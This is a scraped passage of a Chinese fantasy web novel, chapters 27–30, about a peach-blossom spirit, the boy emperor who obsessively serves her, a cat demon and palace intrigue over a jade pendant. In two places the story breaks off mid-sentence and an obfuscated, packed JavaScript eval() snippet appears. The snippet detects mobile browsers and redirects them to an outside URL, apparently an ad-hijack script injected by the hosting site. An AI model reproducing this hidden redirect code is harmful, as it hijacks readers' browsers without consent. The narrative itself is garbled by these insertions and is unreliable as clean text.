桃花精听到这话就来气,抽回胳膊,伸出一个手指边点男孩的额头边训斥:“还不是因为你下手没轻没重,这个猫妖就算惹人生气也不该痛下杀手知道没有,我跟你讲,他要是真的死了你迟早会遭报应。” “那就遭报应吧!”男孩被戳的连连后退,在停下时陡然大声说,双目炯炯有神,“任何让云仙大人不开心的东西都必须消失,遭报应也好被反噬也罢,我从来都不在乎,我所在乎的......从始至终都只是云仙大人的笑颜!” 他低下头深吸了一口气,再次说道:“云仙大人您的脾气是不是有点太好了?到底是为什么要容忍那么多对您不敬的家伙?就因为所谓的因果报应吗?既然如此那就全部交由我来做好了呀,无论是猫妖还是那个强大的柳精,我都会想尽办法为您铲除的——” “啪——!” 凌冽的风率先砸上耳朵,随即刺入脸颊的是彻骨的痛意,郑烨感觉到大脑里有一根紧绷的弦轰然断裂。他红着眼眶转移被打偏的视线,看见女孩飞奔过去,用自己宝贵的灵力治疗那个冒犯她的卑劣猫妖。 28. 第 28 章 桃花精没想到郑烨会下这么重的手,这完全不像是一个凡人小男孩能对妖兽做出的伤害,整个左眼周围的皮肉都凹陷下去了,血淋淋一片直接延续到硬生生断裂的鼻子,她抬手不顾脏污便为猫妖治疗,发现竟然连眼珠子都破烂了。 说来也不知是该庆幸还是羞愧,她虽然成日里对男孩吹牛说自己多么多么厉害,可是比起旁的妖精而言那些厉害的法术要么不会,要么只学了个皮毛,唯一还算是精通的就是治愈之术了。只不过她从前只为凡人治愈过伤病,这突然叫她治愈一只妖兽的皮外伤,她也不能保证能否使其完好如初。 余光瞥见小男孩正失魂落魄跪在原处,看样子也是知道自己方才说错话了想要道歉,可惜桃花精并没有从他脸上看到多少悔过之情。 虽然黄鼠狼精也总是把杀这个凡人害那个凡人挂在嘴上,可两人很清楚只是在开玩笑而已,真正下手去伤害凡人的桃花精迄今为止也就见到过一个柳精,而柳精还绕了个大圈遮掩痕迹,做的十分隐秘。 人妖殊途可不仅仅是俗世情爱故事里难成眷属的悲情故事,最根本的还是指明人妖乃是在两个不同的世道里,一旦其中一方违背天道规则对另外一方造成重大影响,无论是好是坏都会遭到千百倍的报应。 桃花精默默在心里叹了口气,一边想要男孩能够理解自己真的不需要他在他们妖精的恩怨纠葛里做出什么,一边又纠结自己到底要不要把这些凡世规律以外的东西告诉他,毕竟对于凡人而言,越接触天道,就越容易被灾厄选中。 直到皎白月亮全部展露,怀里的少男才缓缓睁开眼睛,那双非人感强烈的金色瞳孔有片刻的怔愣,很快就在对上桃花精担忧的目光后恢复清明。 随即瞪大双眼,浅金色的长睫猛烈颤动了两下,在桃花精还没反应过来时便一下子从她怀里溜出去。 不得不说猫妖就是灵敏。 她无奈起身,“头还疼么?” 猫妖惊的张大了嘴巴,夜晚里他那双眼睛更加亮了,眨眼间就似乎有金光迸射出来。他连忙在自己脸上上下摸了摸,确认完好无损后就面无表情起来。 桃花精怀疑是不是有哪处的神经没有修复好,上前几步伸出手想要再为他检查一番。 然而趾高气扬性格恶劣的少男立刻像是见了什么洪水猛兽一般快速后退几步,忽然再次伸出两只手捂住了自己的脸颊,连带着也捂住了耳朵。他大概是想要摆出凶恶的表情恐吓桃花精,可是眼睛里却不知为何泛起了水光,大约是疼的,看上去别扭的很。 桃花精摸了摸鼻子,料想到这只小猫妖是在被自己治愈后见识到了她的强大,为自己之前的指责羞愧呢,暗中勾起了嘴角。 “云仙大人。”一直垂着头的少男忽然出声。 她动作一僵,仰头发呆不肯看他。 浑身被阴郁笼罩的郑烨身子抖了抖,跪地膝行到女孩脚边,他跪了两个多时辰,原本已经没有了直觉的膝盖在行动的一瞬间泛起刺骨的疼痛,仿佛有密密麻麻数不清的针线扎入他的膝盖,然后对着他的骨髓穿针引线。痛感顺着脊椎骨迅速往上攀延,再由大脑往下传遍四肢百骸。 他抖着手攥住女孩的衣角,用力捏紧了一瞬就放松力道,只是轻轻地揪住一点,开口时嗓子低哑得像吞了好几块炭,“烨儿来认错了,可是在此之前,烨儿还是有一些话想对云仙大人说。 烨儿一无所有,从小到大,只有云仙大人会把烨儿当做一个正常人来看待,也只有您会给予我那种不可思议的温暖。就像您说的那样,我不过是个血肉之躯的弱小凡人,任何一个妖精杀我就如同碾死一只蚂蚁那样轻松。在云仙大人被柳玉冷关起来的那六年里,我每一晚都被愧疚折磨地睡不着觉,一遍又一遍捶打着自己,质问为何我连为云仙大人奉献一点点力量的资格都没有。 我知道云仙大人刀子嘴豆腐心,您是非常非常善良又温柔的妖精大人,所以不愿意看我以身涉险,担心我会遭受因果报应。 可是云仙大人,我真的不在乎这些。” 男孩停顿了一下,发出一声轻笑,这笑转瞬即逝,像是在怀念什么美好的东西。 “您知道的,烨儿心里,从始至终都只有云仙大人一人。您说您的使命是守护桃花谷,那我也想为自己定下一个使命。”他轻声、缓慢、而又郑重地说:“那就是把我的一切都送给云仙大人。” “可是我不需要。”桃花精语气出奇地冷漠。 郑烨忽然笑了,仰起头目光贪婪地看着女孩,黑沉沉的眼睛仿若有一团雾气,连同他这个人都披上了一层诡谲的灰黑色光芒,“可是我需要。一定要为云仙大人做些什么——正是因为怀揣着这样的信念,烨儿才一步一步走到了今天。” 冷清的花神庙并未因为今日闹腾的动静而产生任何人气儿,大约是因为制造这场动静的两位主角是妖,另一位是连妖都不如的人。反倒是今夜干净透亮的月光柔柔地洒在他们周围,让寂静不再无声,奔涌起夜的温柔。 桃花精动了动手指,抬头望向今晚动人的月色,感受着周身围绕自己跳跃的真龙之气,无数天地之间的至纯灵力被月光包裹起来,缓缓渗入她体内。 她蓦地抬手捂住眼,笑容悲凉,“真的是......你们一个两个的那么拼命,实在是叫人痛苦啊。” 说什么把一切都给她,归根结底还不是因为她能力不行,所以才会有一个又一个人跑过来嚷嚷着要为她奉献,这些人只会考虑自己做了什么、心里舒不舒坦,可有有谁会去考虑一下她想不想要? 她根本不想要承受他们的自以为是的付出! 郑烨另外一只手猛地抓紧腿,哑然片刻,“对不起——” 女孩摆摆手,两只手掌陡然落在他的双肩,她在月下凝望着他。 “用不着道歉。”她说,“该忏悔的是我,但我不会。” “......什么?”郑烨赶忙摇头,“不是的!” “就是这样的!”桃花精猛地拔高声音,打断男孩的反驳,厉声质问:“你口口声声说我是你最重要的人,那为何还要一而再再而三地违背我的命令?既然真的视我为全部,就不要再有自己那些自私的想法了行不行!你知不知这些破话让我有多大压力啊!所有人都这样真的很烦啊——” 郑烨吓呆,不住地摇头:“不......我从来没有那么想过——” 她严肃说:“可你就是这么做的!你已经让我非常为难了郑烨!” 郑烨的心脏骤然紧缩,眼神变得晦涩。他艳红的唇瓣失了一点血色,微微颤抖,像是想要争辩什么,可最终却一个字也说不出口。他一直以为自己是在守护云仙大人,他以为自己付出一切都是理所当然的,甚至,他以为,这能够稍微让她轻松一点...... 郑烨的脸色苍白如纸,可心脏却在剧烈跳动着,他很想去说些什么,然而喉咙像是被人扼住一般,连呼吸都变得困难。 *** 传闻中在遥远的南方,那里住着女娲娘娘在此世间最宠爱的孩子。她天赋异禀却从不好好修行,明明有着比旁人快数万倍的修行速度,两百多岁了却还是个什么都不会的小妖精,于是女娲娘娘便将她保护在自己座下,绝不让她受到外界一点伤害;据说她屡屡犯下滔天大罪,女娲娘娘也从不气恼,一次又一次宽容了她的罪孽,让她继续以妖精的身份活在这个世上。 妖精们艳羡,妖物们更是恨她恨的牙痒痒。 猫妖就是慕名而来寻找桃花精的。 初次体会到她的力量时,他怒不可遏,无法理解这样不思进取的家伙凭什么被女娲娘娘如此纵容,就她这样废物的妖,有什么资格成为一代妖精。 她不珍惜自己的天赋,也不履行自己身为妖精的责任,成日里与凡人混在一起。而偏偏就是她这样的人,却得到了妖兽们梦寐以求的一切。 因此在知晓她连最基本的传送术法都用不好时,猫妖差点气的破口大骂。 可是这个傲慢的桃花精确确实实不是个坏孩子,想想也是,她要真的一无是处,女娲娘娘也不可能如此宠爱她。 然而她唯一拥有的善心偏偏是妖最不需要的。 但猫妖还是忍下来自己的怒火与不甘,近乎渴求的拜托桃花精赶快好好修炼,只要她能利用好自己的天赋,一定能成为世间最强大的妖——是了!这肯定就是女娲娘娘的目的,女娲娘娘肯定对这孩子寄予了厚望,因此才会几次宽恕她的罪孽。 说不定只是机缘没到,桃花精拥有了妖精所能有用的一切,妖精没有的她也轻而易举得到了,这时候只需要有人推她一把,她就能从原来妖见妖欺的废物逆袭成为史上最强的妖精,而他!他就是那个推她一把的命定之人!

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101395|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 于是猫妖霎那间转变了对桃花精的态度,如同一个狂热的信徒那样膜拜着在自己心里已经成为最强者的女孩,督促她别再闹了,赶紧去修炼吧。 然而—— 然而猫妖望着眼前一幕,猛然停下,僵在原地,像是某种天崩地裂的认知破碎在了他脑中。他的嘴唇动了动,喉咙里发出一丝不甘的呜咽。 他是不是,一直以来都错的离谱? 或许桃花精最初无所谓的态度只是强作镇定,或许她有着不为人知的难言之隐,或许她一直以来都很痛苦,大概有很多人在逼她吧。 他突然用力拍了拍自己的脸,目光坚定地看向前方,与此同时心中下定决心,绝不要也成为那个给她带去痛苦的恶人。 在金发黑皮的少男拉着女孩言辞恳切地剖析完自己内心后—— 桃花精:“......?” 少男一双金色眼睛睁的大大的,闪烁着坚定的光辉:“放心吧桃花精,你不想做的事情就不用做,无论有多少人逼迫过你,我都不会的。无论何时,我永远都是你最坚定的拥护者——” “不。”桃花精举手打断,“虽然不知道你从哪听来了奇怪故事也不理解你的脑补能力为何能如此可怕,但是我是真的对成为强者没有兴趣,一点也没有。”她面无表情拉过来哭得惨兮兮的男孩,眼睛一眨不眨:“和他吵架只是因为我是个胆小鬼,不想要接受凡人小孩子莫名其妙的感情,仅此而已。” 女孩语气是冷淡的,然而指尖却在微微收紧。 她顶着少男仿佛有信仰崩塌的眼神继续说:“而且啊——也太玄乎了你们,我修炼快单纯是因为经常跟皇帝待在一起,吸收了他们的帝王之气所以灵力转化很顺利。另外,女娲娘娘也一点都不纵容我哦,我活了两百多年有两百五十年都在被女娲娘娘惩罚,其中光是被天雷劈就有将近两百年,没死是因为黄鼠狼精一直在桃花谷为我输送灵力。” 桃花精真不知道自己在妖界原来那么出名,她还以为这猫妖是柳精特意派过来烦她的呢。 猫妖两眼一翻,直接晕死过去。 郑烨抹掉眼泪,抽噎个不停,“那、云仙大人呜呜呜......我们现在回去嘛?”在接收到女孩横扫过来的冷眼时,他立马扑通一声跪在地上,对天发誓自己以后再也不随意伤害别的妖精或是妖兽了。 桃花精还很生气,当然不会就这么轻易原谅男孩,哼了一声转身走到井口边坐下。 郑烨小心翼翼观察女孩的脸色,又默默在原地跪了一会,起身时不动声色踢了一脚崩溃晕过去的妖兽,一小步一小步挪到女孩身边。 他顺着云仙大人的视线往幽深的井口看了看,倒没有看见有什么异常之处,只是觉得这里分外的香,有点像云仙大人身上的桃木清香。 奇怪,井里面怎么会有桃花味呢? 他抬起头,目光掠过前方的桃树,又猛地扭回头再次看过去,目瞪口呆:“那那那那是?!” “嗯?”桃花精正在算东西,男孩激动的声音吸引了她的注意,便也转头看去,大开的门扉框住里面光洁干净的神像,上面还供奉着几颗桃子,往左看是空荡荡的草地,往右看则是一株参天桃木。 她神色自然地收回眼,不解看向男孩,“怎么了?” 夜风轻轻吹拂,郑烨脸上的泪痕逐渐干了,飘起的发丝模糊了视线,他连忙拾袖擦了擦脸,再睁眼望去便见到有桃花朵朵因风而起,他忽然福至心灵,“这是您曾经留给柳夫人的桃花!” 桃花精没想到男孩能想到这里,泰然自若点点头,再次看去了明显更高大了的桃木,“柳夫人的病应该快好了,有的人也要开始长大了。” 郑烨背后一凉,眼神闪烁着低下了头,隐约意识到自己好像探查到了某种天机。 桃花精话音一转:“当然,这其中不包括你,所以不要再妄想去与妖精作斗争了,这是我们的事,与你没有任何关系。” 郑烨乖巧笑了笑,黑灵灵的大眼睛纯净天真,“好,烨儿记住了。”他犹豫了一会,鼓起勇气紧张试探:“那我能再问一个问题嘛?” 夜色如墨,月光冷淡而遥远,风穿梭于桃木枝丫之间,带起簌簌的落花,仿佛在无声诉说着生命流逝的哀愁。 桃花精瞥了他一眼,淡漠一笑,“这个问题,去问万寿宫那个侍女吧。” 29. 第 29 章 崔府送来柳夫人病愈的消息时,桃薇正侍奉在太后娘娘身侧,一边听娘娘训话,一边发呆。 皇帝陛下今日已经回宫了,据说还带回来一名异国的舞者,她并没有多在意这件事,毕竟此刻还有更要紧的事情要做。 太后娘娘如今在朝堂之上威风赫赫,除了柳相无人敢与其做对,说是训斥她不懂事,可语气依旧如许多年前二人还没入宫时那样温柔无奈。女人无法理解她执意出宫的念头,只是觉得她是在为自己被关进太极宫六年而闹别扭。 桃薇抿了抿唇,转念一想不如去求柳玉冷。虽然这女人是个实打实的疯子,可好得是一朝宰相,在为官治国方面总不至于如太后娘娘那般意气用事。虽然她要做的也不是什么大事,可柳玉冷向来欣赏有志向又愿意去干的女子......等等,她这算有志向吗?若真的去求了那女人,该不会被骂幼稚吧? 她焦虑得不行,头发早就被抓成乱糟糟一团,正在苦心思索该如何安置从花神庙带回来的一群女人之际,便感觉到头顶被一双温暖的手轻轻盖住。她一愣,便听见太后娘娘幽幽叹了口气,停下了自顾自的说教,为她拆了头发重新梳理。 桃薇浑身不自在,正好这时回了宫没多久的皇帝前来拜见,便借口下去整理易容匆匆逃开了。 等再回来时,先听到的是太后娘娘略显疲倦的呵斥,她抬头一瞧,就瞧见从前那个怯懦寡言的孩子正笑吟吟对高位的女人说一些讨巧话。 话说回来从前在太极宫时,这位小皇帝也不知是什么时候开始变得能言善道起来,说是能言善道,可只不过也是些一听就能明白的敷衍之言,不过是由于说话之人皮相好,才显得有趣儿些。 她停下脚,本来以为只是来请安,便特意拖了一会才出来,没想到这小皇帝还没走。大约是太后娘娘在关心柳夫人的情况吧。 “桃薇姑姑!” 男孩惊喜的惊呼硬生生扼住桃薇后退的两条腿,她不得已挂起笑走进去,不知道该说什么干脆闭口不言,等着男孩说事。 不知道是不是错觉,郑烨出去一趟整个人都大变样了,以前总是阴沉着一张苍白小脸,衣裳不是黑的就是白的,跟只鬼一样吓人,故作甜美的笑也跟脏泥一样恶心,假惺惺的总让人忍不住怀疑是不是在筹谋什么不好的事。 而现在的他瞧上去可好多了,虽则依旧是皮笑肉不笑的冷漠阴暗样子,可是好得......嗯......怎么说呢?有点活人气了。 桃薇真心实意庆幸自己带他出去了,也对,他一个孩子从小到大都被关在太极宫那阴暗潮湿的鬼地方,性子不扭曲才怪呢,还是要多出去走走见见太阳啊。虽然她很不认同这孩子才十三岁就沉溺于歌舞的行为,但是——哎!总归是他喜欢的,反正象国也不指望他了,这孩子能好好生活下去就行。 郑烨回想起花神庙那一晚云仙大人所言,内心思虑良久,终于开口问道:“还请问桃薇姑姑,花神庙里可是有人居住的么?” 此话一出,不远处低头不知在想些什么的人立马惊惶看过来,着急反问:“那里还有人吗!” 他仔细观测女人的神情,状似随意讲起:“不不不,我也不清楚的,只是临走前一日我偷偷溜出去玩,误打误撞进去了花神庙里,看里面各项东西整理得妥善,像是有人专门打理?” 桃薇立马松了一口气,拍拍胸口安心下来,“原是如此,你可真是吓人一跳,我还以为漏了什么人没有带走呢。是这样的,那花神庙确实有几分诡异,庇护了许多老弱病残的女子,因一直有人住着,才不至于成了废庙——等等!你说你进去了?” 她声音陡然变得尖细,转身回望高座上的太后娘娘,肯定保证:“娘娘!我没有骗你啊,那花神庙确确实实只有女人能够进去!” 郑烨心中一凛,猛然想起来还有这种事!依稀记得柳夫人好像提起过男的是进不去花神庙的,只是他那时一心想着云仙大人,浑浑噩噩的,都没有听进去。 他连忙低下头敛去神色,同时大脑飞速运转思考究竟该如何解释。 而就在此时,沉默冷峻的太后娘娘忽然抬起手来打断桃薇的辩解,昏昏沉沉的光芒从她身后的窗子里照射进来,女人周身镶了一层金光闪闪的耀眼光芒,却也将她的面容全部隐去了阴影之中,令人难以探查到她的心思。 一时间桃薇与郑烨都惴惴不安起来。 “大约是因为那里供奉着花绮英吧。”低沉微凉的嗓音响起在寂静的宫殿之中,醇厚的声音就如她这个人一般,经过了岁月的沉淀,过往的青涩消失不见,取而代之的是让人绝对捉摸不透的神秘。 花绮英。 这个名字,桃薇与郑烨都不是第一次听到了。 前者无奈,后者大惊。 其实太后娘娘从前是不信这些灵异神怪的故事,可是后来自从进宫见了先帝,就整日把花绮英这个名字挂在嘴边,好不容易先帝去后提及的少了,桃薇还以为娘娘长大了终于不再执着于这个名字,可没想到还是未曾忘记。 记得她从前还打趣先帝与太后娘娘手上都长了痣,怕不都是因那什么花绮英而生的执念吧。 那时候太后娘娘但笑不语,只是第二日就让柯良搜罗了民间许多关于花神的传说故事。 郑烨故作淡然,随意提起:“花绮英?” 不知是否因为郑烨能够进入花神庙令太后娘娘刮目相看,女人难得一改从前于他冷淡而对的态度,语气颇为古怪地解释:“你父亲虽不是先帝亲子,可你身上到底流淌着与先帝一样的血脉,能够得花绮英一二庇佑也情有可原。” 女人低头整理了一下衣服,起身一步一步缓慢走过来,郑烨头埋的更低了。 头顶的声音遥远好似从天边传来,却无端给人莫大的压力,仿佛有千钧巨石随着她开口的一瞬间重重压在郑烨弯下的脊背上。 “你去了花神庙里,可还有什么异常之处吗?” 郑烨倒吸一口凉气,低声下气:“我、我在井口旁边发现一枚玉佩,看着眼熟,不知是不是桃薇姑姑掉的那枚?” “啊?”桃薇疑惑走过来,忽视身旁太后娘娘探究的目光,低头看向跪在地上的男孩,也不管什么尊卑有别了,“不应该啊,我明明把玉佩丢进深井里了,怎么还会叫你捡着呢?”她伸出手掌,“拿来我看看。” 郑烨低低应了一声,按照云仙大人的吩咐把一枚玉质上乘的玉佩递过去。 这玉佩是方花零送来的,听说是他初次见面那日与云仙大人分别后,既感动于交到了一位好朋友,又有些愧疚自己抢走了云仙大人的玉佩,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123030|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从府中挑了一块宝玉送回那家首饰店,让店家照着云仙大人的要求做出来的。 据方花零所言,这块玉还是先帝赐下来的宝物,一家人都没人敢碰御赐之物,是他小心翼翼偷出来的。 桃薇在男孩掏出玉佩的一瞬间就确定了这不是自己扔掉的那枚,一时心里说不上是松了一口气还是失落,平静接着玉佩转身对着阳光仔细瞧了瞧,发现这枚玉佩做的还真别致。 她本以为自己之前那枚玉佩就已经够奇怪了,没想到这枚玉佩更加诡异。 一眼看过去最吸引人当属中间一株丰硕繁荣的桃木,密集的桃花宛若因风而动,栩栩如生,其次—— 桃薇睁大眼睛,吓得把玉一下子丢出去! 这这这!这玉佩边缘刻了一座庙,大开的庙门口四四方方,正好将桃花树还有树旁边的一口井包围住,而这座庙!简直和花神庙一模一样! 连太后也被桃薇突然的动静惊到,连忙伸手轻柔地拍了拍女人的肩头安慰,嘴角下沉,面色凝重走过去将那枚被桃薇丢出去的玉佩捡起来,拇指重重揉过上面的凸起,念出来:“花......” 桃薇满脸不可置信回看低头跪在地上的郑烨,一把将他提起来逼问:“这玉佩你是在哪捡的!?” 郑烨不露慌张,重复自己上一句话,“是在井口旁捡到的。” 太后转过玉佩,见到另一面的图案后再结合桃薇回宫后所说的那些故事,瞬间了然了桃薇的恐惧。她勾唇一笑,不过再转回身时就变回了平日里冷漠严肃的样子,但又在看向桃薇时变得柔和起来,“别害怕,一定是花绮英在冥冥之中守护着你。” 郑烨听的云里雾里,很想弄清楚太后提起花绮英的熟稔口气从何而来,可也知当下最重要的想来就是这枚玉佩。 看来是向来不信怪力乱神之说的桃薇姑姑被这枚玉佩吓到,以为所谓的花神大人是真的存在。这让郑烨卑劣地感到自喜,旁人眼里传说中的存在,却是真真实实陪伴在他身边的。 “胡说八道!”桃薇大声反驳,她一点也不惧怕太后,抢回来玉佩,目光灼灼看向收了笑的女人,“什么花神花绮英,不过些唬人玩的说法!呵,倘若她真的存在,为何要放任庙中信徒病的病,死的死?就算她真的存在,也只是个坑蒙拐骗的贪财之徒罢了!” 郑烨听不得任何人说云仙大人不好——虽然他们三人所理解的或许都不是一个层面的物种,但他还是忍不住想要辩解,却不料太后娘娘更快—— “别说了!”太后冷下脸,可总是不舍得对桃薇发脾气,只好别过脸不去吓到侍女,“你说这些话才当真是可笑!花绮英本就用不着去做这些,不过是先帝还有无知愚民将自己无穷的欲望强加到她身上——自顾自地希望又自顾自地失望......这难道就不可恶吗?以后莫要说这些话了!” 桃薇简直受不了女人神叨叨的模样,不理解:“凭什么,我就要说!那什么破神既然——” 太后直接上手死死抓住女人的手腕,厉声道:“我说了!不许再说花绮英!” 桃薇从没被太后娘娘如此粗鲁对待过,一下子就失了气焰,喃喃:“为什么......” “傻孩子。”太后神色一转,爱怜地摸了摸桃薇的头发,“因为她一直看着我们的呀。” 30. 第 30 章 桃花精打了个喷嚏。 弯腰像块布一样挂在树上的猫妖吓得一激灵,挥了两下胳膊勉强稳住将要掉下的身子,连忙坐起来凑到桃花精面前,一字一句问:“你生病了吗?妖精也会生病吗?” 他身上带着浓郁的芳香,是甜蜜的瓜果味道。开口时温热的吐息喷洒在桃花精耳畔,她耸起一侧肩膀蹭了蹭耳朵,不适应地推开热腾腾的少男,犹豫不决:“我总觉着有人在看我。” 少男目光忽闪转向她,促狭笑起来,像只想要使坏的猫儿,“说不定是有人要害你。” 桃花精无语,用不着过脑子就知道少男的话外之音,捋着手边一串细枝,顺下来几朵尚且稚嫩的桃花,“你不是说不逼迫我修炼吗。” 猫妖眼见女孩的动作,立马将可怜的花枝从她手里解救出来,同时嘴上念念有词:“还不是因为当时觉得你有什么难言之隐……哼,我看你于修炼一事上也没有为难之处,那就莫要浪费自己一身天赋,看看你身下这棵桃木,都快枯死了。” 桃花精立时直起腰给了他一拳头,“睁大你的眼睛看仔细,这树好好的呢,不许说这些不吉利的话。” 猫妖不满地捂着脑袋,委屈嚷嚷:“哪里好了!你看看其余妖精的傍身之灵,个个生机勃勃葳蕤不止,但你这棵呢?别的不说,我看光是上面的零星几朵花都要被你薅完了!” 桃花精眼神随着少男的话一点点暗下去,最后在他话音落下的一瞬间一脚把他踢下去,“你懂什么?” 她直接跳下去踩到少男身上,脚下不断用力,“既然现在依附于我生存,就仔细着说话,再敢对我不敬我就把你扔到荒郊野岭给狼吃了!”她又狠狠踹了一下少男挺翘的屁股,“多跟郑烨学着点。” 树木因为方才两人的动作晃了几下,枝丫簌簌碰撞间掉落数不清的花瓣,地面上已经积攒了一片。之前郑烨说要把这些落花收起来夹在书中,她虽不理解却也没有阻止,便从来没有管过地上这些,只等着男孩收拾干净。 从前倒也没注意过,如今看到了还真是叫人心烦。 她大手一挥,顷刻间便有狂风擦地而起,掀起满地花瓣密密麻麻飘荡在半空中,疾风卷着成片的粉色在天边盘旋,而后在刹那间轰然冲向宫墙之外,再眨眼看去地上就已空无一物。 “你干嘛!”猫妖心疼这些花瓣里蕴含的点滴灵力,他是卑下的妖兽,连吸收灵力的资格都没有,是以一般妖精眼中寻常到与空气无异的灵力对他们而言是天地至宝,哪怕是一丝微弱的灵力就足以叫他们疯狂。 他喊了句不要给我吃就急急忙忙要跑出去捡,正好碰上过来的郑烨。 桃花精面露嫌弃,撇了撇嘴,随意一勾手指,匆匆跑开的少男便嗖的一下坐倒在脚边。 她直接伸手按住少男圆滚滚的头颅,手下稍微使力小小猫妖就承受不住大叫起来,“我带你回来可不是帮你修炼的。” 猫妖黄金色的眼瞳蓄满了雾气,两只手举过头顶握住桃花精的手腕想要拿开,却不想女孩力气大的惊人,他拼尽全力竟然也无法移动分毫。无奈只能示弱诉苦:“我错了我错了,不该捡你不要的东西——诶诶诶!” 脑袋被抓的更紧了,他简直怀疑自己会不会当场被爆头,立刻改口:“不对不对!我不该碰你的不喜欢的东西!”他两只手同时竖起三根手指,“以后再有落花了我一定第一个给你扫了!” 郑烨无声无息走近,冷郁的目光停留在搔首弄姿的少男身上一瞬,便很快移开。等他看向桃花精时又恢复了平日里软软糯糯的模样,拉着女孩另一只手汇报,“云仙大人,母后说崔朔就要回来了。” 女孩果然因为这个名字有了反应,松开猫妖一脚把他踢开,“崔朔很受柳精重视,目前象国还没有能与他匹敌之人,就算有也不及他这个十五岁便征战沙场的将军会打仗。” 郑烨不动声色转移视线,尽量不让女孩注意到自己眼底的醋意,故作淡定继续说:“那我们是不是要联合崔朔对付柳精?” 桃花精一听这话就直皱眉头,面色不佳:“我已经跟你说了不下一百回别再想着跟柳精作对了吧?”她对着男孩光洁的额头戳戳戳,“能不能把我的话记在心里。” “是是。”男孩连忙应声,顿了一下,浅浅试探:“我就是以为云仙大人要对付柳精,所以想着崔朔兴许能帮上忙......”虽然他一点也不希望云仙大人与崔朔接触,但如果崔朔对云仙大人的计划有益,那这个头脑简单四肢发达的老男人也不是不能利用一二。 “......他一个凡人,能帮什么忙。就算真的有人能对柳精造成影响,那也只会是柳玉珍,但是我可不是柳精那种为了达成自己的目的连无辜凡人都要利用的坏蛋。”桃花精说话时眼神又不由自主落到了猫妖身上,朝坐在地上生闷气的人挑了挑眉,五官精致,长相奇特的俊美少男就不情不愿爬了过来。 没错,是爬过来。 郑烨生气跳脚:“你做什么!不知廉耻!” 大约是还有一点兽性在身上,方才完全是猫妖下意识的行动,看他疑惑歪头盯着的好奇样子,看上去并不觉得自己有何不妥。 他爬到桃花精腿边便跪坐在那里,然后低头摆弄着自己漂亮的浅金色发丝不吭声。 看来是不高兴了。 桃花精可不会哄人,妖也不会。不知道是不是因为少男很喜欢坐在地上的缘故,她总是忍不住顺脚就踢他一下。 少男炸毛大叫了一声,生气埋怨:“你又踢我!自从我跟你来到这破皇宫,你就已经踢了我三十四回了,三十四回啊!屁股都给我踢肿了!” 她别过脸,满不在乎哼了一声,“谁让你老是坐在地上。” 郑烨面无表情看着两只妖吵闹,心里的恨意节节攀升。从前陪在云仙大人身边的只有他,然而——然而自从云仙大人归来,她身边的贱人跟雨后春笋似的一个一个冒出来,先是浪荡的黄鼠狼精,再是蠢的不行的方花零,再有就是眼前这个毫无羞耻之心勾引云仙大人的臭猫妖,现在就连崔朔也要回来了! 他越想越气,越想越害怕,哪怕面上再怎么淡定从容,可心中对于云仙大人有可能被夺走这一点的恐惧正在逐渐将他吞噬。 没有云仙大人的日子实在是太痛苦,他已经受够了,无论是谁、无论是凡人还是妖精,任何妄想分走云仙大人宠爱的男人,都得死! 桃花精一直没说把猫妖留在身边做什么,他们俩在太极宫玩乐了两日,说是玩乐但其实还是斗嘴打闹居多,当然,动嘴的主要为少男,动手的则是她。 她喜欢和猫妖在一起,虽然这家伙不讨喜,但起码与他相处既不用算来算去,也无需像是对待郑烨那般小心翼翼,况且虽然少男总是把好好修行挂在嘴上,却也只是 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桃花精强硬地把茶杯塞进少男手里,瓷白的杯壁与他浅棕色的肌肤形成很大的反差,散落在手边的发丝一如既往闪烁着金色的光辉,这光辉好像能够映射到他身上似的,令他的深色肌肤并不显得难看,反而像是蜂蜜一般流淌着甜蜜的色泽,便如他身上芬香的气味一般。 桃花精直勾勾盯着他的手看,终于没忍住好奇伸出一根手指摸了摸,少男立刻吓得一抖,杯子里的茶水也晃出来洒在他的虎口,打湿了一缕发丝。 猫妖大叫着丢出杯子,砸到不远处的花瓶发出噼里啪啦的声音,他不停用袖口擦拭着手背,崩溃地上蹿下跳:“我讨厌水啊!!!” 诸如此类的事情有很多,桃花精每次都被他逗的哈哈大笑。 还有一次在书房里,桃花精被猫妖拉着学习写字,她很不愿意,觉得自己是个妖精,没必要大费精力去分辨这些歪七八扭的线条有何区别,觉得与其学这种奇奇怪怪的东西还不如出宫玩呢。 少男一只手将桃花精轻轻按在椅子上,右手从她背后绕过去提笔写下两个字:烛歌。 出乎意料的,猫妖的字迹苍劲有力,气势如虹,俨然有书法大家之风。 他摇头晃脑说着自己的歪理:“人是万物之灵,文字更是一代又一代凡人所思所想的传承,这其中所蕴含的人灵虽然不多,却能够打通你往后在凡间修行的道路,让你不至于在这处荒废光阴。” 妖兽分为两种,一种是吸食凡人精气修行的恶妖,另一种则是桃花精先前所想。后者深居荒野,依赖与自身不相匹配的灵力修行,虽然修行过程会比前者难上千倍百倍,可万一大道得成便能够鱼跃龙门,飞升成精。 桃花精知道他不是恶妖。 可他所说的正是恶妖的修炼方法。 她抿唇没有说话,扭头看向与自己仅有一掌之隔的少男。 烛歌轻声细语:“烛歌,这是我的名字,你叫我的名字好不好?” 妖兽不像妖精一个种族只会诞生一个,故而需要名字区分彼此。 桃花精没有应声,推开少男的脸,语气冷淡:“你跟我说这些做什么。” 